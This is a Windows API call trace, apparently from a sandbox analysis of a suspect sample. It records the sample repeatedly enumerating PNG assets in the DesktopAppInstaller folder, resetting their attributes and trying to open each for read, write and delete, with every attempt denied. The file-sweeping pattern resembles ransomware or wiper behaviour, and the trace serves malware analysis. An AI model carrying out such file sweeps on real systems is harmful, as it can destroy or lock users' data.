	[0090.809] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png"
	[0090.809] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24.png")) returned 0x20
	[0090.812] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.812] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.813] GetLastError () returned 0x5
	[0090.813] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.813] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce43fbc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce43fbc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce43fbc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-24_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.813] wcscmp (_String1="AppPackageAppList.targetsize-24_altform-unplated.png", _String2=".") returned 1
	[0090.813] wcscmp (_String1="AppPackageAppList.targetsize-24_altform-unplated.png", _String2="..") returned 1
	[0090.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc790
	[0090.813] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.813] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.813] wcscat (in: _Dest=0x4ebc790, _Source="AppPackageAppList.targetsize-24_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png"
	[0090.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24_altform-unplated.png")) returned 0x20
	[0090.813] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.814] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.814] GetLastError () returned 0x5
	[0090.814] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0090.814] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce43fbc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce43fbc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce43fbc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x694, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.814] wcscmp (_String1="AppPackageAppList.targetsize-256.png", _String2=".") returned 1
	[0090.814] wcscmp (_String1="AppPackageAppList.targetsize-256.png", _String2="..") returned 1
	[0090.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2d5af20
	[0090.814] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.814] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.814] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png"
	[0090.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256.png")) returned 0x20
	[0090.815] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.815] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.815] GetLastError () returned 0x5
	[0090.815] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.815] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce43fbc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce6a21a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce6a21a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x694, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-256_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.815] wcscmp (_String1="AppPackageAppList.targetsize-256_altform-unplated.png", _String2=".") returned 1
	[0090.815] wcscmp (_String1="AppPackageAppList.targetsize-256_altform-unplated.png", _String2="..") returned 1
	[0090.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12e) returned 0x4ebc2b0
	[0090.815] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.815] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.815] wcscat (in: _Dest=0x4ebc2b0, _Source="AppPackageAppList.targetsize-256_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png"
	[0090.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256_altform-unplated.png")) returned 0x20
	[0090.815] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.816] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.816] GetLastError () returned 0x5
	[0090.816] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.816] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6a21a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce6a21a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce6a21a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-30.png", cAlternateFileName="")) returned 1
	[0090.816] wcscmp (_String1="AppPackageAppList.targetsize-30.png", _String2=".") returned 1
	[0090.816] wcscmp (_String1="AppPackageAppList.targetsize-30.png", _String2="..") returned 1
	[0090.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.816] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.816] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.816] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-30.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png"
	[0090.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30.png")) returned 0x20
	[0090.817] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png", dwFileAttributes=0x20) returned 0
	[0090.817] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.817] GetLastError () returned 0x5
	[0090.817] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png", dwFileAttributes=0x20) returned 0
	[0090.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.817] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6a21a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce6a21a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce6a21a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-30_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.817] wcscmp (_String1="AppPackageAppList.targetsize-30_altform-unplated.png", _String2=".") returned 1
	[0090.817] wcscmp (_String1="AppPackageAppList.targetsize-30_altform-unplated.png", _String2="..") returned 1
	[0090.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcda8
	[0090.817] wcscpy (in: _Dest=0x4ebcda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.817] wcscat (in: _Dest=0x4ebcda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.817] wcscat (in: _Dest=0x4ebcda8, _Source="AppPackageAppList.targetsize-30_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png"
	[0090.817] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30_altform-unplated.png")) returned 0x20
	[0090.819] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.820] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.820] GetLastError () returned 0x5
	[0090.820] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.821] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcda8) returned 1
	[0090.821] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6a21a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce6a21a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce6a21a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-32.png", cAlternateFileName="")) returned 1
	[0090.821] wcscmp (_String1="AppPackageAppList.targetsize-32.png", _String2=".") returned 1
	[0090.821] wcscmp (_String1="AppPackageAppList.targetsize-32.png", _String2="..") returned 1
	[0090.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.821] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.821] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.821] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png"
	[0090.821] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32.png")) returned 0x20
	[0090.824] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.824] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.824] GetLastError () returned 0x5
	[0090.824] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.824] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce6a21a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce6a21a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce6a21a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-32_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.824] wcscmp (_String1="AppPackageAppList.targetsize-32_altform-unplated.png", _String2=".") returned 1
	[0090.824] wcscmp (_String1="AppPackageAppList.targetsize-32_altform-unplated.png", _String2="..") returned 1
	[0090.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.824] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.824] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.824] wcscat (in: _Dest=0x4ebc178, _Source="AppPackageAppList.targetsize-32_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png"
	[0090.824] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32_altform-unplated.png")) returned 0x20
	[0090.827] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.827] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.827] GetLastError () returned 0x5
	[0090.827] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
